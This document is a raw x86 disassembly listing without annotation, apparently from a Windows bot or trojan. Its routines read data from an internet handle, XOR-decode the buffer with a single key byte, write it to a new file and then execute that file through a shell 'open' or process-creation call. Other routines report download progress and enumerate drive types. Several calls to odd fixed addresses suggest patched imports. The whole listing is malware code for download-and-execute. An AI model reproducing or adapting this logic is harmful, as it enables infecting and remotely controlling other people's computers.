		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416122
; ---------------------------------------------------------------------------

loc_416034:				; CODE XREF: ___:0041601Aj
		push	edi
		call	dword_4CB03C
		cmp	[ebp+8], esi
		jz	loc_4160E6
		mov	edi, 400h

loc_416049:				; CODE XREF: ___:004160DDj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416056
		mov	[ebp-4], eax

loc_416056:				; CODE XREF: ___:00416051j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2770000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 26F0000h
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CAFF4
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CAFBC
		cmp	eax, ebx
		jl	loc_41617B
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617B
		sub	[ebp+8], eax
		jnz	loc_416049
		mov	edi, [ebp-18h]

loc_4160E6:				; CODE XREF: ___:0041603Ej
		push	dword ptr [ebp-8]
		nop
		call	near ptr 26508EFh
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_4374E8
		push	eax
		call	sub_41B886

loc_41611F:				; CODE XREF: ___:00415FF6j
		add	esp, 14h

loc_416122:				; CODE XREF: ___:0041602Fj
		cmp	[ebp-50h], esi
		jnz	short loc_416147
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 14h

loc_416147:				; CODE XREF: ___:00416125j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AC
		cmp	edi, esi
		pop	ecx
		jbe	short loc_41615F
		push	edi
		call	dword_4CB03C

loc_41615F:				; CODE XREF: ___:00416156j
		push	dword ptr [ebp-1F8h]
		call	dword_4CB03C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h

loc_41617B:				; CODE XREF: ___:004160C9j
					; ___:004160D4j
		push	esi
		mov	esi, offset dword_4374D0
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		push	esi
		call	sub_4151AC
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CB03C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h

loc_4161BC:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 2660AB7h
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_4293F4
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 26F08DDh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416246
		push	offset unk_43764C
		jmp	short loc_41628C
; ---------------------------------------------------------------------------

loc_416246:				; CODE XREF: ___:0041623Dj
		push	eax
		nop
		call	near ptr 26508EFh
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626E
		push	offset unk_43761C
		jmp	short loc_41628C
; ---------------------------------------------------------------------------

loc_41626E:				; CODE XREF: ___:00416265j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD3
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_41629F
		push	offset unk_4375FC

loc_41628C:				; CODE XREF: ___:00416244j
					; ___:0041626Cj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639B
; ---------------------------------------------------------------------------

loc_41629F:				; CODE XREF: ___:00416285j
		mov	esi, 1000h

loc_4162A4:				; CODE XREF: ___:0041630Aj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFBC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636B
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630C
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CAFA0
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFF4
		jmp	short loc_4162A4
; ---------------------------------------------------------------------------

loc_41630C:				; CODE XREF: ___:004162D4j
		lea	eax, [ebp-4C4h]
		push	offset dword_4374D0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CB03C
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	1
		nop
		call	near ptr 26D0000h

loc_41636B:				; CODE XREF: ___:004162CBj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_4375D0
		push	eax
		call	sub_41B886
		add	esp, 14h

loc_41639B:				; CODE XREF: ___:0041629Aj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C0
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		add	esp, 14h

loc_4163C0:				; CODE XREF: ___:0041639Ej
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DB
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx

loc_4163DB:				; CODE XREF: ___:004163D0j
		cmp	[ebp+8], ebx
		jbe	short loc_4163E9
		push	dword ptr [ebp+8]
		call	dword_4CB03C

loc_4163E9:				; CODE XREF: ___:004163DEj
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop

loc_4163F9:				; DATA XREF: sub_401ACD+6279o
					; sub_401ACD+6AB9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CAF54
		call	dword_4CAEA8
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416885
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 26F08DDh
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C0
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437818
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A3
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4164A3:				; CODE XREF: ___:00416481j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26D0000h
		nop

loc_4164C0:				; CODE XREF: ___:00416461j
		xor	edi, edi
		call	near ptr 26808E8h
		nop
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax

loc_4164DA:				; CODE XREF: ___:004165ADj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CAEB0
		cmp	[ebp-34h], esi
		jz	short loc_41651E
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EB
		pop	ecx
		pop	ecx

loc_41651E:				; CODE XREF: ___:0041650Bj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		call	near ptr 26E0000h
		nop
		cmp	edi, ebx
		jnb	short loc_41655C
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416546
		mov	eax, [ebp+8]

loc_416546:				; CODE XREF: ___:00416541j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch

loc_41655C:				; CODE XREF: ___:00416538j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416569
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B3

loc_416569:				; CODE XREF: ___:00416562j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416583
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4377F0
		jmp	short loc_416593
; ---------------------------------------------------------------------------

loc_416583:				; CODE XREF: ___:0041656Fj
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4377C8

loc_416593:				; CODE XREF: ___:00416581j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43DCE0
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DA

loc_4165B3:				; CODE XREF: ___:00416567j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416608
		cmp	edi, [ebp-3Ch]
		jz	short loc_416608
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_43779C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_416608:				; CODE XREF: ___:004165BDj
					; ___:004165C2j
		nop
		call	near ptr 26808E8h
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 26508EFh
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416692
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416692
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437774
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_416692:				; CODE XREF: ___:0041663Aj
					; ___:0041664Cj
		cmp	[ebp-14h], esi
		jz	loc_4168D2
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678D
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_43773C
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670D
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_41670D:				; CODE XREF: ___:004166EBj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D2
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CAF10
		cmp	[ebp-30h], esi
		jnz	loc_4168D2
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_437720
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 24h
		jmp	loc_4168D2
; ---------------------------------------------------------------------------

loc_41678D:				; CODE XREF: ___:0041669Fj
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_4376DC
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4167F5:				; CODE XREF: ___:004167D3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_43D158
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 2650BA1h
		cmp	eax, edi
		jnz	short loc_416877
		call	dword_4CAEFC
		call	sub_418359
		push	esi
		nop
		call	near ptr 77E75CB5h

loc_416877:				; CODE XREF: ___:00416863j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_4376A8
		jmp	short loc_416891
; ---------------------------------------------------------------------------

loc_416885:				; CODE XREF: ___:0041643Ej
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_43767C

loc_416891:				; CODE XREF: ___:00416883j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4168C5:				; CODE XREF: ___:004168A3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_4168D2:				; CODE XREF: ___:00416695j
					; ___:0041671Ej ...
		push	dword ptr [ebp-18h]
		call	dword_4CAFD8
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h

; =============== S U B	R O U T	I N E =======================================



sub_4168EB	proc near		; CODE XREF: ___:00416517p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416907

loc_4168F7:				; CODE XREF: sub_4168EB+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F7

locret_416907:				; CODE XREF: sub_4168EB+Aj
		retn
sub_4168EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_416908	proc near		; CODE XREF: sub_401ACD+5841p
					; sub_401ACD+5969p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416922	proc near		; CODE XREF: sub_40F96A+458p
					; sub_40F96A+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D2BD8
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]

loc_416947:				; CODE XREF: sub_416922+5Bj
					; sub_416922+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416985
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416947
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416947
; ---------------------------------------------------------------------------

loc_416985:				; CODE XREF: sub_416922+4Bj
		dec	esi
		mov	eax, edi

loc_416988:				; CODE XREF: sub_416922+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416997
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416988
; ---------------------------------------------------------------------------

loc_416997:				; CODE XREF: sub_416922+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416922	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A1	proc near		; CODE XREF: sub_416B56+51p
					; sub_416B56+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB004
		sub	eax, 0
		jz	short loc_4169E4
		dec	eax
		jz	short loc_4169DE
		dec	eax
		dec	eax
		jz	short loc_4169D8
		dec	eax
		jz	short loc_4169D2
		dec	eax
		jz	short loc_4169CC
		dec	eax
		jz	short loc_4169C6
		mov	eax, offset word_43786C
		retn
; ---------------------------------------------------------------------------

loc_4169C6:				; CODE XREF: sub_4169A1+1Dj
		mov	eax, offset off_437868
		retn
; ---------------------------------------------------------------------------

loc_4169CC:				; CODE XREF: sub_4169A1+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------

loc_4169D2:				; CODE XREF: sub_4169A1+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------

loc_4169D8:				; CODE XREF: sub_4169A1+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------

loc_4169DE:				; CODE XREF: sub_4169A1+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------

loc_4169E4:				; CODE XREF: sub_4169A1+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EA	proc near		; CODE XREF: sub_416A32+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CAE94
		test	eax, eax
		jz	short loc_416A1F
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax

loc_416A1F:				; CODE XREF: sub_4169EA+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A32	proc near		; CODE XREF: sub_416B56+17p
					; sub_41AA42+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EA
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B42
; ---------------------------------------------------------------------------

loc_416B10:				; CODE XREF: sub_416A32+2Cj
					; sub_416A32+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_416B42:				; CODE XREF: sub_416A32+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B56	proc near		; CODE XREF: sub_416C28+17p
					; sub_416C28+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BC9
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_4378BC
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFD
; ---------------------------------------------------------------------------

loc_416BC9:				; CODE XREF: sub_416B56+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437880
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h

loc_416BFD:				; CODE XREF: sub_416B56+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C28	proc near		; CODE XREF: sub_401ACD+2553p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C49
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h
		jmp	short loc_416CAA
; ---------------------------------------------------------------------------

loc_416C49:				; CODE XREF: sub_416C28+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CAF0C
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CAF0C
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA1

loc_416C6D:				; CODE XREF: sub_416C28+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41C070
		pop	ecx
